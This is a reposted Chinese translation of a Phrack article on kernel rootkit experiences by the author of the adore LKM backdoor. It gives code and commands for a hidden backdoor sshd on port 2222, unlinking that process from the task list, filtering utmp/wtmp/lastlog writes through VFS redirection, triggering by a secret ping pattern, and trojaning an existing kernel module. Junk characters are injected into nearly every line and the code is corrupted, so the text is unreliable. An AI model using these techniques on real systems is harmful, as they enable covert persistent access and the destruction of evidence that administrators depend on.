你的位置:pcMing工作室 >> 资讯 >> windows >> 安全&病毒 >> 详细内容 在线投稿

基于内核的rookit经验

排行榜 收藏 打印 发给朋友 举报 来源: 互联网   发布者:未知
热度49票  浏览15次 【共0条评论】【我要评论 时间:2010年1月19日 22:06

s M^ D9|+}ES0基于内核的rookit经验
/_me}^A z"_x@02006-11-26 15:12pcMing工作室 p3Vd3f5e^1H|

==Phrack Inc.==
j khIt0pcMing工作室_o,O$V4lyeym'?&s
Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f
l#^4y2p)F8m@'cA*Iv0pcMing工作室)]#@sG(v2cNJ5^V
|=-------------------------------------------------------------------=|
"]cWfL D|I3j0|=----------------=[ Kernel Rootkit Experiences ]=-------------------=|pcMing工作室:m8M@3YU#O
|=-------------------------------------------------------------------=|
,]R6_([ i4J _0|=----------=[ Author: stealth <stealth@segfault.net> ]=-------------=|
h%QDs9@9X:_0|=-------------------------------------------------------------------=|
V`4c oZ4le0x]0|=----------=[ Translator: osmose <osmose@ph4nt0m.net> ]=------------=|
Ev3X]no)~!Td.]0pcMing工作室`$?W]'r G ~
译者:感谢alert7和OYXin对我的帮助。
2VN%p4eC(@U Z0
CaNx\@ j0
g?C#_%xh0基于内核的rookit经验pcMing工作室th on'Lr[m
pcMing工作室oLfXP/A#l`
--[ 内容pcMing工作室R ^xR JBmr
pcMing工作室UfG7ld-A
1 – Introduction
Y'_M(e}*yX6r0pcMing工作室)y[NJ] ja3Mc
2 – Sick of it all?
3u9a8ZYm0
C \!d,[)Y6X03 - Let it logpcMing工作室C(^#^-] j ij(Y

1b9Q"}|~ae6H+E'sI04 - Let it rockpcMing工作室 O|7\2j6}r
pcMing工作室)u sA!S9PTI
5 - Thinking about linkingpcMing工作室 x*]k"R Q U

"X6CN.Y(Z^L*e qH06 - as in 2.6pcMing工作室ok}'h~2s
pcMing工作室*Dh h,Y~ CMR
7 – Last words & references
W;U6B'^n1[?0I(k0
t8V0V_@)n t:NA9C0pcMing工作室%n.c:\j\-hb
--[ 1 – IntroductionpcMing工作室 ~e'R0n5~
pcMing工作室Op9iV)|,Q%Y
这篇文章关注的问题是基于内核的rootkit以及它在将来发展中如何受到那些“常见”后门的影响。基于内核的rookit已经面世一段时间了,而且肯定会继续存在下去,这个方向值得我们做点研究或者展望一下。
1xFd]-hrz,{0U3~0pcMing工作室P(o j]ug ? NHL
在阅读本文之前,你应该先读点关于netfilter hooks(译者注:目前一些网络过滤系统使用了hook技术,也就是一些钩子函数,在windows下属于exe执行程序类型,一般需要常驻内存)和LKM 模块重新链接的文章。(译者注:_blank>http://www.kv365.com/news/393.html这是一篇关于LKM后门的一篇不错的文章。w00w00有一篇关于LKM hacking的文章,地址是_blank>http://www.w00w00.org/files/articles/lkmhack.txt。 大鹰曾经翻译过,_writing/kernel_hacking.txt。)本文下面要谈的后门执行以及一些代码片断都涉及到这些知识。" target=_blank>http://www.e4gle.org/e4gle_writing/kernel_hacking.txt。)本文下面要谈的后门执行以及一些代码片断都涉及到这些知识。
ey!]7zBnc0pcMing工作室!w:{U d3id"W
不要把这篇文章太当回事。如果你大概的浏览一下就会发现这并不是一篇关于如何hack的教学。我只是讲述一点作为“adore后门作者(adore author)”,我去年的一些经历。(译者注:adore是一个LKM后门)这些经历包括在一些会议上为难那些头头,演讲中提出的一些稀奇古怪的问题,那些十万火急的求助信,IRC里的“adore后门垃圾(adore sucks)”的称号,以及来自.edu网站的祝贺等等。
znq!^&?0
g)T)ue-S)l P0
*R6L#i0K?D@0K7vSG#C0--[ 2 – Sick of it all?
#x{{/esie:C$?0
I0w|9o5FN*Hc0}0rootkit, 尤其是那些基于内核的rootkit,早在几年前就出现了。在这个方面已经有了一些研究成果。优秀成果很多,但是垃圾作品更多。如果你因为这个从来不看rootkit的文章,我表示充分的理解。良莠不齐,这实在让人头疼。然而,一些新的问题已经崭露头角并且以后会被rootkit(确切点说是他们的作者)关注。这些问题包括以下几个方面,当然并不仅仅包括这几个方面:
8b3t*~5By+o0- 新的内核版本以及零售商的改进pcMing工作室VW&O8~"qs
- 一些重要符号已不再导出(也就是sys_call_table)pcMing工作室d CMP/WX8Q
- 高级的日志功能和监听原理
J/|L j7E.C RO|O)Z[0- 内核固化,安全的操作系统,等等
LR)i.E c5{v0- 入侵检测/异常行为侦测
\`4x4rU,hV `0- 高级的应急响应工具和分析手段pcMing工作室[qk A Mo!RZg

SLP,B&`0
8?,cZe:O P0实际上,在我做的adore-ng里面就涉及到上面的这些问题,比如我下面要说到的通过VFS层的重定向避免使用sys_call_table[],其中一部分还是当前正在研究的课题。Rootkit一般都包括[u,w]tmp文件的日志清除功能,但是这个功能和入侵者的“只需要最低权限”的原则相抵触。于是这个原则后来演化成“给系统添加最少的东西”。 所以我们的一个努力方向就是避免日志记录,要在后门的级别上(比如我们例子中的LKM级别)做到在目标机器上尽可能少的留下痕迹。pcMing工作室[tFb7uL_
pcMing工作室Sv'k/_!H,cT#I5U|
安全操作系统这个话题值得另开炉灶大书一笔。我也想好了自己要做那方面的内核固化。:-)
;w'v+k cLY3t rz*I0pcMing工作室5jV J kE&~
pcMing工作室W1[-@ E&YVZ4Y_.Z
--[ 3 Let it log
-tl4XI;X%`.I0pcMing工作室gM)Wx0bW'\R8o f
某个应急响应安全公司在一个大学举办了一次关于rootkit的演讲,在演讲期间我想到一些不错的办法可以提高rootkit的隐蔽性。pcMing工作室"hF:x-c? oN#b5E

3C\:k{)riL0目前,一些高手可能已经不再给sshd二进制文件做什么补丁修改了。取而代之的是在一些地方放置一些适当权限的令牌(是的,对于应急响应这个工作来说,分布式认证机制是一个难伺候的东西)。因此,如果一个入侵者打算使用一些标准工具(他也可以安装一些以前卸载过、已经缺失的库或者包如果有三个管理员的话,你知道是哪个人在pc-5073这台机器上安装了openssh包吗?),一个LKM的rootkit在某种程度上必须确保把sshd发出的日志消息发送到空设备上,也就是/dev/null。比如下面这样:
F3w0L.C$s&hcp0pcMing工作室 quj(qD|r
static int ssh(void *vp)
iIHw5L(Q0{pcMing工作室-X7D5O@6^ ^
char *a[] = {"/usr/bin/perl", "-e",
0m`*V(u|P|0"$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin'"
~)As0]Z9eA0L0"open(STDIN,'</dev/null')open(STDOUT,'>/dev/null')"
-]'q*R.d_qE!K)D&s0"open(STDERR,'>/dev/null')"
W~'ZG$G(`0"exec('sshd -e -d -p 2222')",
?]%|+ar ppTG)n0NULL}pcMing工作室'lr1GYw+D(xG)K

i&{a@([0task_lock(current)pcMing工作室 {p%I0Ac2Q
REMOVE_LINKS(current)
'r+X{$~)A|[8d&FW0list_del(¤t->thread_group)pcMing工作室5JQ[2cR{jl
evil_sshd_pid = current->pidpcMing工作室-mh*E3p#|1e#r vx
task_unlock(current)
$Iqh] ] I0exec_usermodehelper(*a, a, NULL)pcMing工作室.P9vh5R/r-lH
return 0
,j{LB1Md4GO0
`_I9r7{)_]%t0}pcMing工作室5pbj&?'wk b

/}9ed&dY\4_ I0
b qK(iu8PA;V0这个看起来可以称得上netfilter hooks的kernel_thread()函数了吧?pcMing工作室W!u9\n;Q

~-Y.m|k,A.l$E0程序里的"-e" 是为了让sshd把日志发送到stderr,在我们这个例子里也就是/dev/null(译者注:就是“exec('sshd -e -d -p 2222') ”这句里的参数)。 看起来不错吧。
:B`3KO)Ma9?+hO6GO0
*x8h b-N v]0"-d" 是一个开关,用来禁止sshd创建新的进程。这样做的好处是,当入侵者登录的时候,不会有什么端口被打开,别人也无法察觉。
e$@2do v5b&j0
;{5ciC3G1H\0REMOVE_LINK() 隐藏了这个进程,ps看不到,其他类似的工具也看不到。
KiA,V"Z!]t*~0pcMing工作室qWf Fe O]-M'wH&F {
要打开stdin这些设备,你需要使用perl,因为程序里的exec_usermodehelper()函数会在启动sshd之前关闭所有的文件。为什么要关闭所有的文件呢?因为这样,当sshd带“-e”参数运行时,stderr就和那些sockets混在了一起,分不出来了。pcMing工作室7?s'O*T&ian

t M3v] [ N,t%w%Z0要躲过utmp/wtmp/lastlog这些日志操作可以用下面的方法:
,\/xw@+w:} C0
9dg6pt _\0// 父进程必须是那个恶意的sshd(因为子进程是作为一个shell记录日志的)
"\N@(i;Zp \B9k;\S5b7]0if (current->p_opptr &&
? k,P,j C(A0current->p_opptr->pid == evil_sshd_pid && evil_sshd_pid != 0) {pcMing工作室0q9C&z7B-`&e
for (i = 0 var_filenames[i] ++i) {pcMing工作室 ?5fR(u@9_k
if (var_files[i] && f->f_dentry->d_inode->i_inopcMing工作室].GG)R^)~Ea/{
==var_files[i]->f_dentry->diodes->i_ino) {pcMing工作室 l6QC(w _ |!zX[u
task_unlock(current)pcMing工作室 q O\P}-j/^X
*off += blen
Ts$q.`*rF"c\0return blenpcMing工作室#sv%w2cce
}
v0JN8n*}c0}
6EJQi'c1L S ^'F ur0}pcMing工作室)b[!H*gz.Y

p3o*pS C/P0上面的程序判断sshd是否记录日志或者试图把[u,w]tmp入口写入一些文件。当然啦,我们还要把write()函数在VFS层里重定向, 并且检查inode数目以过滤掉正确的写操作。(译者注:_blank>http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?inode+4 在这里你可以找到一些关于inode的说明)实际上,我们还要检查superblock。不过我觉得sshd不会带着相同的inode#在另一个磁盘空间写文件。pcMing工作室B3~7x,digH|dK1v
pcMing工作室7n+Q0Es+?g H1@t R
当有人登录的时候,一些 pam 模块就会打开一个session。所以,尽管那个恶意的sshd使用了log重定向,pam_unix2这样一个为用户启动的session 还是会被记录在案。
$ub-S1fQc7c4W0
E};a1LTp0好了,看起来log的问题在以后的后门或者rootkis里还是可以解决的,而且我们用不着在系统的二进制代码方面纠缠太多。pcMing工作室\aa9z kD

IvL&M!E)~YLLG/wA0pcMing工作室"@3D'x|Uu&n.m,O
--[ 4 Let it rock
)jxZL vo[?.W_0
b-^k3Lz^)X$k2os&l,x(]0要启动一个恶意的sshd需要一定的触发条件,所以平时用nmap扫描不会找到任何开放的端口。当然啦,网络过滤方面的文章向你展示了如何自己建一些 icmp-hook 来做这些事情。这里不再赘述,听我说还不如去看看那些文章。不过有一点:根据我的经验,你不能直接从hook里启动一个程序。
"~%iA]4s.yc0
M%p5a0|T*Mm0如果一个服务程序运行时被打断,而hook恰好因为某种原因困在里面,这会引起系统内核崩溃。要解决这个问题,在启动sshd之前,我们需要设置一个标志来判断sshd是否可以启动:
U GO3GT]/NP1v0
jE.fP)i0z#P0if (hit && (hit-1) % HIT_FREQ == 0) {pcMing工作室-kX6X@_U XK
write_lock(&ssh_lock)
5g\T ~u CB T~d0start_ssh = 1
NxRE4G\9I-re-D/`F0write_unlock(&ssh_lock)
"e E K[Yx P8G H2^0return NF_DROPpcMing工作室6d ]M NZ
}
4~-x~p*|0pcMing工作室)i(dn{7?AI q
不管怎么说,我们的工作都是混迹于VFS层里的,我们还要把open()函数的呼叫(/etc掌控的特定文件系统(FS)发起的呼叫)重定向。这样下一个进程如果使用了同样文件系统(FS)打开文件,恶意的sshd就会启动。pcMing工作室] u KkH eP,e3M

iuAxq&qC0这个进程有可能是管理员执行的一个”ls”命令,也可以是我们通过一个真实的sshd来触发它,例子如下:
4W^:}z8aw(a0H0
.[A9P7y8T M;t0root@linux:root# telnet 127.0.0.1 22
#ff-j.``b N9Z e0Trying 127.0.0.1...
zqx1O-`:?W xN-s0Connected to 127.0.0.1.pcMing工作室-Ig'^Ee6{,G u
Escape character is '^]'.
-mGfTT.U0{t+] d[0SSH-2.0-OpenSSH_3.5p1
A%S |G"[ ?0SSH-2.0-OpenSSH_3.5p1 <<<<< 这是发起攻击的人的行为pcMing工作室)oh cH#j5rA-f%n
Connection closed by foreign host.pcMing工作室 w:j%z/e4`0s

PvVM&kZ0在我的机器上,这会引起真正的sshd记录日志:
V\V?fm6u!u |q0pcMing工作室~Q n'[zKJ*yR*j
sshd[1967]: fatal: No supported key exchange algorithmspcMing工作室5YVg!dr.pS

[,_O*X8vl0如果不输入一个正确地协议字符串(a valid protocol-string),你的ip会被记录如下:
xcK$M|p!t-m*S0pcMing工作室Wgk%r'cCfZ
sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1
bla7}U{0pcMing工作室#p9f6R/o8y"t
或许还有其他一些像httpd的服务(这些服务不记录日志)会因为打开文件这样的一个操作触发恶意sshd的启动。pcMing工作室2M"e&n{+?#?

4FP#c;q|%Kv*l0显而易见,对于一个内核rootkit来说,拦截一些log消息还是可能的,但是这取决于应用程序以及你对这个程序的了解,比如它在什么时候记录日志,记录些什么。这不是件容易的事。不过在将来,入侵者可能会使用类似涂抹的手段(比如涂抹每一个由隐藏shell写出的log数据)。这样可以把所有管理员认为对入侵检测有用的日志都破坏掉。
Nh2rj;k2^xU,|0pcMing工作室\{+Zb9l1_\L%rU

Eq'K ^@ kx0--[ 5 Thinking about linkingpcMing工作室'_3kv ?l)q

r+k7q~9nE `Q0有一篇关于感染LKM(LKM infection)的文章,请读一读,那的确值得你化点时间看看:-)pcMing工作室-u"ot_.ej|J(z-`
(译者注:就是本期phrack里面的《Infecting loadable kernel modules》)
2].wup+? X\3]Aj0
QA z&gX G }`Hz0不过,也不需要沉溺于ELF文件格式。用一个简单的mmap()函数替代 init_module()和cleanup_module()就足够了。一个rootkit必须包括这部分程序,因为rootkit一定要方便操作,这样管理员可以轻松的在一个蜜罐系统(honeypot system)里做设置:
m-o+r4Y9b1I*I i0{0pcMing工作室-E zwH?'| ^j6et3A

x*|fT8jZD5wu|+j,kF0root@linux:zero# ./configurepcMing工作室w7e*d J~ eg;g&p3oG
Starting configuration ...pcMing工作室}Rj ]:f#@D W#r
generating secret pattern ...pcMing工作室p)XW-[8p
\\x37\\x8e\\x37\\x5f
G$rRd|Q ]~0checking 4 SMP ... NOpcMing工作室;p4pf Kc*pA:[itH
checking 4 MODVERSIONS ...NO
?@l$BSt-S;^0
]:so w G Z(I0
d3O"e y+]G)?)}0你的隐蔽的ping命令写成: ping -s 32 -p 378e375f IPpcMing工作室!SLo5`Dr
pcMing工作室o#hT%|soJ
root@linux:zero# make
4E:r:v!qt N+f)H f$c1i6q0cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
},}X$^1w0-O2 -Wall zero.cpcMing工作室ag@jj O
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\pcMing工作室0L:ca[6u9q0\/^
-O2 -Wall -DSTANDALONE zero.c -o zero-alone.o
f1D3rI+z}5?m0cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\pcMing工作室1i+C1?v$x.G0h%Z
-O2 -Wall cleaner.c
#acBJf h!nk+G hEP0root@linux:zero# ./setup (译者注:下面是zero配置的经过)
?[!m%E!o1V}0
Bmq3MJo3H0可以用下面的lkm模块:
y K X(g xO:e L0pcMing工作室7h$tW&iWp4x,Qp4^

sv)D8NX"xU]%A0af_packet ppp_async ppp_generic slhc iptable_filter
)O%U!hO-C$u R#e6W0ip_tables ipv6 st sr_mod sg
m|x j#B]^ k0mousedev joydev evdev input uhcipcMing工作室a{z?#@Q Z
usbcore raw1394 ieee1394 8139too mii
a hL8D uyNu0scsi cd cdrom parport_pc ppa
&v}1RMI3?0pcMing工作室8o-s-wH'h1|
Chose one: sg (在上面这些模块里选一个sg模块)
Y(oX$lo5g!}!mI0Choice was >>>sg<<< (注意了:我们的选择是sg)pcMing工作室)o){s4a @G3G0RLg(j;kX
Searching for sg.o ... (搜索一下它的位置)pcMing工作室 Ze2B rL&N/F8_Qo
Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o! (找到它的位置)pcMing工作室on&xf S3b+Nv
pcMing工作室x u O9ojIM5G
Copy trojaned LKM back to original LKM? (y/n) (准备插入)pcMing工作室 g8?v4MLA;r
pcMing工作室D9Db(c,Ed}
...
7M`)M6f#kaV0pcMing工作室dR&XAaOtueP(U/F
(译者注:自从你选定了sg模块以后,上面这些过程应该都是由zero独自完成的,希望后面的中文注释没有干扰您的理解)pcMing工作室F V ^~ Q

Z&j.@-r;x'T.\7A0zero.o 是为一个选定模块的重链接做准备的,但是由于这个object文件已经插入内核里了,所以入侵者需要另一个独立的模块:
7p@:b;v[#_T0zero-alone.o。pcMing工作室x%W){Pz5U$zp4D
pcMing工作室&{(A%@ O:D
想了解更多的关于链接的内容以及用于不同平台的手法,请看看参考资料[1]里的一些文章。pcMing工作室eH Lb Sa3a1_b @W
pcMing工作室"n8C!AKz,TuTp%g*b

5R d9qf6[7y|-d0--[ 6 as in 2.6pcMing工作室s#z+bH"Za6lB&uU

)g_K/^\4}P0就在我写这篇文章的时候,Linux 内核的2.6版本已经处于测试阶段了,不久第一个正式版就会推出。所以,这正是我们给它挑刺的时候。在参考资料[4] 里,你会发现一个adore-ng的版本,而且这个版本已经用在Linux kernel 2.6里了。pcMing工作室9jn_\^
pcMing工作室o AO9fq-Pr{!A
除了关心rootkit需要的那些新的头文件(headers),我们还得把一些需要重定向的函数的签名(signature)也改了。这不是什么太难的事情,也没有多大的挑战性。要注意的细节是:那些init和cleanup函数都必须通过另一种途径向LKM的载入程序做出声明:pcMing工作室O4by5` F B q9`

_h;v9bUH S0#ifdef LINUX26pcMing工作室A*wB|KTF
static int __init adore_init()
g,EF v D N0#elsepcMing工作室)E8S ?:F8NJ4f
int init_module()pcMing工作室W g!N*N)z&_
#endifpcMing工作室 Ze(|,j8\^
pcMing工作室R,|D-D?@w(Y]H
andpcMing工作室 T ]~2[ { }uV+Po

VuM+uHtJ;[0static void __exit adore_cleanup()pcMing工作室-O1c$e J4E,n
#else
0{Z0O+e:N0int cleanup_module()
9v{"F_ l&y4BM{0#endif
_7X&BD.{|!B9H0
y;wNfT-s9x-pb0
1\9Y:_ S3|b@1Imm0...pcMing工作室2i\ hipF

,\ k9i%a\_0#ifdef LINUX26pcMing工作室K7Z)}L!IW,}l)m
module_init(adore_init)
jB5m~l}2@2V0{0module_exit(adore_cleanup)
9DC.R$Y#p0#endifpcMing工作室rU,iku"N(t2G$C

9s%xce*p,V w(`S3h0这也不是什么大不了的事情。 Adore-ng 已经使用新的VFS技术来隐藏文件和进程了,所以我们也不需要太关注sys_call_table这个层。pcMing工作室 ex;R atxs!k"K
pcMing工作室 ^^-J0W.csOY
把adore整合到2.6版本内核过程中最花时间的就是找出LKM究竟是怎么打造出来的。这不仅仅是把他们“cc”到一个object就可以解决的。你必须把它和其他一些从c文件编译得到的object文件链接起来。那些c文件包含了特定的infos和属性,比如:pcMing工作室Hk!|O$e_j~
pcMing工作室!b Qvs9P6il U[
MODULE_INFO(vermagic, VERMAGIC_STRING)
)qg%rZcd0_0
i u1^ Ox+C*h#~S0我不知道他们为什么要包含这些东西。
+IDu3uhof0
SS-Lb ^0这都是为了2.6做的!没有什么新鲜的地方,除了内核中使用的一些hooks值得一看。:-)
"F"@.C/} `jk-paZ([V0
+N(D-`8j:AV NB:E+H0
SR1O,u@_B-Pg0--[ 7 Last words & references
9lx^FA/[Vw0
?EKjI ?xH0zero 这个rootkit并不隐藏文件。它只是从任务列表里去掉了恶意的sshd进程从而隐藏它。不过如果这个rootkit进程或者它的子进程让系统“停下来(halt)”,那可就不妙了。我曾在一个SMP系统上测试这个rootkit,不论我用原来的办法还是考虑到版本不同使用“-f”insmod switch,它都被阻塞住了。如果谁希望得到一个使用SMP box的许可(当然是合法的啦),可以告诉phrack team或者我本人。zero只供试验使用,所以不要向我抱怨它没有GUI或缺少其他的功能。pcMing工作室:is nx @,HY

kK W"e$xT [@3`U0pcMing工作室X!P9a)H}%T%GE$n!|
一些连接(译者注:就是前文提到的参考资料):pcMing工作室3u/Zr#Yu!q-f.P1zk4D
pcMing工作室 l(Z$dxw%e
[1] Infecting Loadable Kernel Modules (在本期phrack中)
n&H [Oe%o0[2] Hacking da Linux Kernel Network Stack (在本期phrack中)
)| |.w#\ oP0[Gt0[3] _blank>http://stealth.7350.org/empty/zero.tgzpcMing工作室h"|i3b/GQ Tj
(soon appears at _blank>http://stealth.7350.org/rootkits)pcMing工作室 J } @D)PR
[4] _blank>http://stealth.7350.org/rootkits/adore-ng-0.24.tgz
e0Hm,] A8[H t0
O[ Mw&U iE ?0pcMing工作室/Y6j/Ck.j+S W
译者:这是我第一次翻译甚至是接触内核的文章。或许有误人子弟之嫌,所以我在把握不准或者我认为有助理解的地方都保留了原文的话。希望可以弥补点自己的不足。感谢alert7大哥百忙中抽空审核本文,提出很多很好的意见,使我获益匪浅。也感谢OYXin在我翻译过程中对我的帮助,现在在你眼前的很多词句都来源于他的建议。
7m;}6}UF U5RzH0pcMing工作室8` { c v/M
这篇文章总体说来还是比较直观的。会英语的人都可以翻译它,至于linux内核的真正的殿堂,我还没有触摸到。最大的收获不是技术,是alert7大哥的一句:不要急于求成。
up Ej C9|p0
k GAbY4|1M0最后,感谢您阅读本文。欢迎转载,但请保留本文的完整性,谢谢。
顶:1 踩:2
对本文中的事件或人物打分:
当前平均分:-0.5 (16次打分)
对本篇资讯内容的质量打分:
当前平均分:0.76 (17次打分)
【已经有13人表态】
上一篇 下一篇
发表评论
换一张

网友评论仅供网友表达个人看法,并不表明本网同意其观点或证实其描述。

查看全部回复【已有0位网友发表了看法】

网络资源